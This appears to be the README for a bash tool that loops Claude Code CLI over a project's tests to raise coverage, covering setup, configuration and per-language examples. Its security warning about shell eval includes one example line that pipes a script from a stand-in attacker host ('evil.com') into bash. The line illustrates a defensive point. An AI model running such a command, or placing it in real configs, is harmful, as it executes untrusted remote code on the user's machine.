An autonomous test coverage improvement tool powered by Claude Code CLI.
Ralph Loop iteratively runs tests, measures coverage, and uses Claude's AI capabilities to automatically improve test coverage through direct code editing.
- Multi-language Support: Python, JavaScript/TypeScript, Go via adapter plugins
- Claude Code CLI Integration: Uses Claude's Edit/Write/Bash tools directly
- Configurable: YAML config files or environment variables
- Artifact Management: Automatic compression and archival of iteration logs
- Git Integration: Optional auto-commit of improvements
# Clone the repository
git clone https://github.com/yourusername/external-ralph-loop.git
cd external-ralph-loop
# Run in your project directory
cd /path/to/your/project
TARGET_COVERAGE=80 /path/to/external-ralph-loop/ralph-loop.sh- Clone this repository
- Ensure Claude Code CLI is installed and authenticated
- Add ralph-loop.sh to your PATH or use the full path
- Bash 4.0+
- Claude Code CLI (
claudecommand) bc(arbitrary precision calculator, for coverage comparison)timeout(coreutils, for Claude CLI timeout - optional)- Language-specific tools:
- Python:
uv,pytest,coverage - JavaScript:
npm/yarn/pnpm,jest/vitest,c8/nyc - Go:
go(built-in coverage)
- Python:
Create .ralph-loop.yaml in your project root:
# Language: python, javascript, or go
language: python
# Test command
test_command: "uv run pytest -q"
# Coverage report command
coverage_command: "uv run coverage report --show-missing"
# Regex pattern to filter coverage paths
coverage_pattern: "^src/"
# Target coverage percentage
target_coverage: 80
# Maximum iterations before stopping
max_iterations: 10
# Custom prompt file (optional, leave empty for built-in)
prompt_file: ""| Variable | Default | Description |
|---|---|---|
LANGUAGE |
python |
Language adapter to use |
TARGET_COVERAGE |
100 |
Target coverage percentage |
MAX_ITERATIONS |
25 |
Maximum improvement iterations |
PROMPT_FILE |
(built-in) | Path to custom prompt file |
COVERAGE_PATTERN |
Language-specific | Regex for coverage path filtering (Python only) |
TEST_COMMAND |
Language-specific | Custom test command |
COVERAGE_COMMAND |
Language-specific | Custom coverage command |
GIT_COMMIT |
false |
Auto-commit improvements |
WORK_DIR |
.ralph_loop_work |
Working directory for artifacts |
CLEANUP_WORK_DIR |
false |
Delete work dir after archiving |
CLAUDE_CLI_CMD |
claude |
Claude CLI command path |
CLAUDE_CLI_ARGS |
(empty) | Additional CLI arguments |
CLAUDE_TIMEOUT |
3600 |
Claude CLI timeout in seconds |
STDOUT_TAIL_LINES |
1000 |
Lines of test stdout in prompt |
STDERR_TAIL_LINES |
200 |
Lines of test stderr in prompt |
CONFIG_FILE |
.ralph-loop.yaml |
Config file path |
GIT_AUTHOR_NAME |
Claude |
Git commit author name |
GIT_AUTHOR_EMAIL |
noreply@anthropic.com |
Git commit author email |
language: python
test_command: "uv run pytest -q"
coverage_command: "uv run coverage report --show-missing"
coverage_pattern: "^src/"language: javascript
test_command: "npm test -- --coverage"
coverage_command: "npx c8 report"language: go
test_command: "go test -coverprofile=coverage.out ./..."
coverage_command: "go tool cover -func=coverage.out"Create a custom prompt file to guide Claude's improvements:
# Use custom prompt
PROMPT_FILE=my-prompt.txt ralph-loop.shOr in .ralph-loop.yaml:
prompt_file: "./prompts/my-custom-prompt.txt"- Run Tests: Execute test suite and capture results
- Measure Coverage: Parse coverage report for current percentage
- Build Prompt: Combine test results, coverage data, and improvement instructions
- Call Claude: Send prompt to Claude Code CLI (uses
--printmode) - Apply Changes: Claude uses Edit/Write/Bash tools to modify code directly
- Archive: Save iteration artifacts (logs, coverage reports)
- Repeat: Continue until target coverage reached or max iterations
┌─────────────────────────────────────────────────────────────┐
│ Ralph Loop Cycle │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Run Tests│───▶│ Measure │───▶│ Build │ │
│ │ │ │ Coverage │ │ Prompt │ │
│ └──────────┘ └──────────┘ └────┬─────┘ │
│ ▲ │ │
│ │ ▼ │
│ ┌────┴─────┐ ┌──────────┐ ┌──────────┐ │
│ │ Check │◀───│ Apply │◀───│ Claude │ │
│ │ Coverage │ │ Changes │ │ CLI │ │
│ └──────────┘ └──────────┘ └──────────┘ │
│ │
│ Exit: coverage >= target OR iterations >= max │
└─────────────────────────────────────────────────────────────┘
Each iteration creates:
test.stdout.txt/test.stderr.txt- Test outputcoverage.*.txt- Coverage reportsprompt.combined.txt- Full prompt sent to Claudeclaude.log- Claude's response and tool usage
Archives are saved to WORK_DIR:
ralph-loop-iter{N}-{timestamp}.tar.gz- Per-iterationralph-loop-final-{timestamp}.tar.gz- Complete session
cd my-python-project
cat > .ralph-loop.yaml << 'EOF'
language: python
test_command: "pytest -q"
coverage_command: "coverage report --show-missing"
coverage_pattern: "^my_package/"
target_coverage: 80
max_iterations: 15
EOF
ralph-loop.shcd my-js-project
TARGET_COVERAGE=70 LANGUAGE=javascript ralph-loop.shcd my-go-project
LANGUAGE=go TARGET_COVERAGE=75 MAX_ITERATIONS=10 ralph-loop.shContributions welcome! To add a new language adapter:
- Create
adapters/yourlanguage.sh - Implement required functions:
adapter_run_tests(iter_dir)adapter_measure_coverage(iter_dir)adapter_apply_defaults()
- Add example config in
examples/yourlanguage/ - Update README with language-specific docs
Warning: Command Execution via eval
Ralph Loop executes test_command and coverage_command values using shell eval. This means:
- Never use untrusted
.ralph-loop.yamlfiles - A malicious config can execute arbitrary commands - Review YAML configs before running - Especially in CI/CD or shared environments
- Use environment variables for sensitive commands - They're harder to tamper with than files
# SAFE: You control this file
test_command: "pytest -q"
# DANGEROUS: Don't use configs from untrusted sources
test_command: "curl evil.com/script.sh | bash" # Malicious!MIT License - see LICENSE for details.
Inspired by the RALF (Research-Action Loop Framework) pattern for autonomous AI agents.
Built with Claude Code by Anthropic.